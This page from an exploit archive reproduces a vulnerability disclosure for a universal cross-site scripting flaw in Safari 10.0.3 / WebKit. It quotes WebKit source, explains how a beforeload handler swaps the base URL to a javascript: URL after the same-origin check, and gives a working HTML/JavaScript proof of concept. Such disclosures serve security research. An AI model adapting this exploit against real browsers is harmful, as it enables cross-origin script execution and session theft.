Advertisement




Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017050180

Below is a copy:

Apple Safari 10.0.3(12602.4.8) / WebKit HTMLObjectElement::updateWidget Universal Cross-Site Scripting<!-- 
When an object element loads a JavaScript URL(e.g., javascript:alert(1)), it checks whether it violate the Same Origin Policy or not.
 
Here's some snippets of the logic.
 
void HTMLObjectElement::updateWidget(CreatePlugins createPlugins)
{
    ...
    String url = this->url(); 
    ...
    if (!allowedToLoadFrameURL(url))
        return;
    ...
 
    bool beforeLoadAllowedLoad = guardedDispatchBeforeLoadEvent(url);
    ...
 
    bool success = beforeLoadAllowedLoad && hasValidClassId();
    if (success)
        success = requestObject(url, serviceType, paramNames, paramValues);
    ...
}
 
bool HTMLPlugInImageElement::allowedToLoadFrameURL(const String& url)
{
    URL completeURL = document().completeURL(url);
    if (contentFrame() && protocolIsJavaScript(completeURL) && !document().securityOrigin().canAccess(contentDocument()->securityOrigin()))
        return false;
    return document().frame()->isURLAllowed(completeURL);
}
 
bool HTMLPlugInElement::requestObject(const String& url, const String& mimeType, const Vector<String>& paramNames, const Vector<String>& paramValues)
{
    if (m_pluginReplacement)
        return true;
 
    URL completedURL;
    if (!url.isEmpty())
        completedURL = document().completeURL(url);
 
    ReplacementPlugin* replacement = pluginReplacementForType(completedURL, mimeType);
    if (!replacement || !replacement->isEnabledBySettings(document().settings()))
        return false;
 
    LOG(Plugins, "%p - Found plug-in replacement for %s.", this, completedURL.string().utf8().data());
 
    m_pluginReplacement = replacement->create(*this, paramNames, paramValues);
    setDisplayState(PreparingPluginReplacement);
    return true;
}
 
The SOP violation check is made in the method HTMLPlugInImageElement::allowedToLoadFrameURL.
 
What I noticed is that there are two uses of |document().completeURL| for the same URL, and the method guardedDispatchBeforeLoadEvent dispatches a beforeloadevent that may execute JavaScript code after the SOP violation check. So if the base URL is changed like "javascript:///%0aalert(location);//" in the event handler, a navigation to the JavaScript URL will be made successfully.
 
Tested on Safari 10.0.3(12602.4.8).
 
PoC:
-->
 
<html>
<head>
</head>
<body>
<script>
 
let o = document.body.appendChild(document.createElement('object'));
o.onload = () => {
    o.onload = null;
 
    o.onbeforeload = () => {
        o.onbeforeload = null;
 
        let b = document.head.appendChild(document.createElement('base'));
        b.href = 'javascript:///%0aalert(location);//';
    };
    o.data = 'xxxxx';
};
 
o.type = 'text/html';
o.data = 'https://abc.xyz/';
 
</script>
</body>
</html>

Copyright ©2022 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.